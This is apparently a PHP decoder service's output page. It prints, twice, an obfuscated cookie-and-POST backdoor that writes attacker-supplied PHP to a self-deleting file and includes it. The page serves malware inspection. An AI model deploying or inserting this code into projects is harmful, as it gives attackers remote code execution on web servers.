Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // Function to echo a hardcoded string function printString() { ech..

Decoded Output download

<?php   
   
// Function to echo a hardcoded string   
function printString() {   
    echo 'rr7';   
}   
   
// Function to decode a sequence of indices into a string using a character map   
function decodeSequence($indices) {   
    $resultString = '';   
    $charMap = "L/el5uatd<_I.4h;i7kpFx#2c?r9mf'1*30( n)EsygH@-ovb";   
       
    foreach ($indices as $index) {   
        $resultString .= $charMap[$index];   
    }   
   
    return $resultString;   
}   
   
// Initialize an array to store decoded strings   
$decodedData = [];   
   
// Decode specific sequences into human-readable strings   
$decodedData[78325] = decodeSequence([8, 48, 27, 2, 34, 31, 17, 27, 45, 31, 23, 34, 4, 45, 13, 23, 17, 27, 45, 27, 33, 13, 6, 45, 2, 27, 48, 31, 8, 27, 29, 34, 13, 6, 24, 48]);   
$decodedData[27632] = decodeSequence([25, 19, 14, 19, 36, 44, 5, 37, 3, 16, 37, 18, 35, 10, 10, 20, 11, 0, 39, 10, 10, 38, 15, 36]);   
$decodedData[26602] = decodeSequence([12, 28, 46, 8, 5, 3, 2]);   
$decodedData[66532] = decodeSequence([12, 1]);   
$decodedData[44508] = decodeSequence([43, 32]);   
$decodedData[29650] = decodeSequence([22]);   
$decodedData[93645] = decodeSequence([9]);   
$decodedData[6605] = decodeSequence([29, 16, 3, 2, 10, 19, 5, 7, 10, 24, 46, 37, 7, 2, 37, 7, 40]);   
$decodedData[64457] = decodeSequence([6, 26, 26, 6, 41, 10, 28, 2, 26, 42, 2]);   
$decodedData[13247] = decodeSequence([29, 16, 3, 2, 10, 2, 21, 16, 40, 7, 40]);   
$decodedData[51642] = decodeSequence([40, 7, 26, 10, 26, 2, 19, 2, 6, 7]);   
$decodedData[14246] = decodeSequence([2, 21, 19, 3, 46, 8, 2]);   
$decodedData[54694] = decodeSequence([40, 7, 26, 3, 2, 37]);   
$decodedData[51108] = decodeSequence([16, 37, 7, 47, 6, 3]);   
$decodedData[85403] = decodeSequence([5, 37, 3, 16, 37, 18]);   
$decodedData[81304] = decodeSequence([19, 6, 24, 18]);   
   
// Process cookie data using a function from the decodedData array   
$cookieData = $_COOKIE;   
$processedCookies = $decodedData[64457]($cookieData, $_POST);   
   
// Process each cookie   
foreach ($processedCookies as $key => $value) {   
    // Define multiple internal functions for processing   
    function modifyData($data, $key, $length) {   
        return substr($data, 0, $length);   
    }   
   
    function combineData($data, $input) {   
        return @$data($input);   
    }   
   
    function processData($data, $value, $key) {   
        return combineData($data, $value) ^ modifyData($data, $key, strlen($value));   
    }   
   
    function executeData($data, $value, $key) {   
        $value = processData($data, $value, $key);   
        if (checkCondition($data, $value)) {   
            exit();   
        }   
    }   
   
    function checkFile($data, $filePath) {   
        if (file_exists($filePath)) {   
            @include($filePath);   
        }   
    }   
   
    function checkCondition($data, $input) {   
        if (isset($input[2])) {   
            $filePath = $data[66532] . md5($data[78325]) . $data[26602];   
            @$data[6605]($filePath, $data[93645] . $data[27632] . $input[1]($input[2]));   
            checkFile($data, $filePath);   
            return true;   
        }   
        return false;   
    }   
   
    executeData($decodedData, $value, $key);   
}   ?>

Did this file decode correctly?

Original Code

<?php  
  
// Function to echo a hardcoded string  
function printString() {  
    echo 'rr7';  
}  
  
// Function to decode a sequence of indices into a string using a character map  
function decodeSequence($indices) {  
    $resultString = '';  
    $charMap = "L/el5uatd<_I.4h;i7kpFx#2c?r9mf'1*30( n)EsygH@-ovb";  
      
    foreach ($indices as $index) {  
        $resultString .= $charMap[$index];  
    }  
  
    return $resultString;  
}  
  
// Initialize an array to store decoded strings  
$decodedData = [];  
  
// Decode specific sequences into human-readable strings  
$decodedData[78325] = decodeSequence([8, 48, 27, 2, 34, 31, 17, 27, 45, 31, 23, 34, 4, 45, 13, 23, 17, 27, 45, 27, 33, 13, 6, 45, 2, 27, 48, 31, 8, 27, 29, 34, 13, 6, 24, 48]);  
$decodedData[27632] = decodeSequence([25, 19, 14, 19, 36, 44, 5, 37, 3, 16, 37, 18, 35, 10, 10, 20, 11, 0, 39, 10, 10, 38, 15, 36]);  
$decodedData[26602] = decodeSequence([12, 28, 46, 8, 5, 3, 2]);  
$decodedData[66532] = decodeSequence([12, 1]);  
$decodedData[44508] = decodeSequence([43, 32]);  
$decodedData[29650] = decodeSequence([22]);  
$decodedData[93645] = decodeSequence([9]);  
$decodedData[6605] = decodeSequence([29, 16, 3, 2, 10, 19, 5, 7, 10, 24, 46, 37, 7, 2, 37, 7, 40]);  
$decodedData[64457] = decodeSequence([6, 26, 26, 6, 41, 10, 28, 2, 26, 42, 2]);  
$decodedData[13247] = decodeSequence([29, 16, 3, 2, 10, 2, 21, 16, 40, 7, 40]);  
$decodedData[51642] = decodeSequence([40, 7, 26, 10, 26, 2, 19, 2, 6, 7]);  
$decodedData[14246] = decodeSequence([2, 21, 19, 3, 46, 8, 2]);  
$decodedData[54694] = decodeSequence([40, 7, 26, 3, 2, 37]);  
$decodedData[51108] = decodeSequence([16, 37, 7, 47, 6, 3]);  
$decodedData[85403] = decodeSequence([5, 37, 3, 16, 37, 18]);  
$decodedData[81304] = decodeSequence([19, 6, 24, 18]);  
  
// Process cookie data using a function from the decodedData array  
$cookieData = $_COOKIE;  
$processedCookies = $decodedData[64457]($cookieData, $_POST);  
  
// Process each cookie  
foreach ($processedCookies as $key => $value) {  
    // Define multiple internal functions for processing  
    function modifyData($data, $key, $length) {  
        return substr($data, 0, $length);  
    }  
  
    function combineData($data, $input) {  
        return @$data($input);  
    }  
  
    function processData($data, $value, $key) {  
        return combineData($data, $value) ^ modifyData($data, $key, strlen($value));  
    }  
  
    function executeData($data, $value, $key) {  
        $value = processData($data, $value, $key);  
        if (checkCondition($data, $value)) {  
            exit();  
        }  
    }  
  
    function checkFile($data, $filePath) {  
        if (file_exists($filePath)) {  
            @include($filePath);  
        }  
    }  
  
    function checkCondition($data, $input) {  
        if (isset($input[2])) {  
            $filePath = $data[66532] . md5($data[78325]) . $data[26602];  
            @$data[6605]($filePath, $data[93645] . $data[27632] . $input[1]($input[2]));  
            checkFile($data, $filePath);  
            return true;  
        }  
        return false;  
    }  
  
    executeData($decodedData, $value, $key);  
}  

Function Calls

None

Variables

None

Stats

MD5 ef09572458fbd820d64175776ecdb688
Eval Count 0
Decode Time 49 ms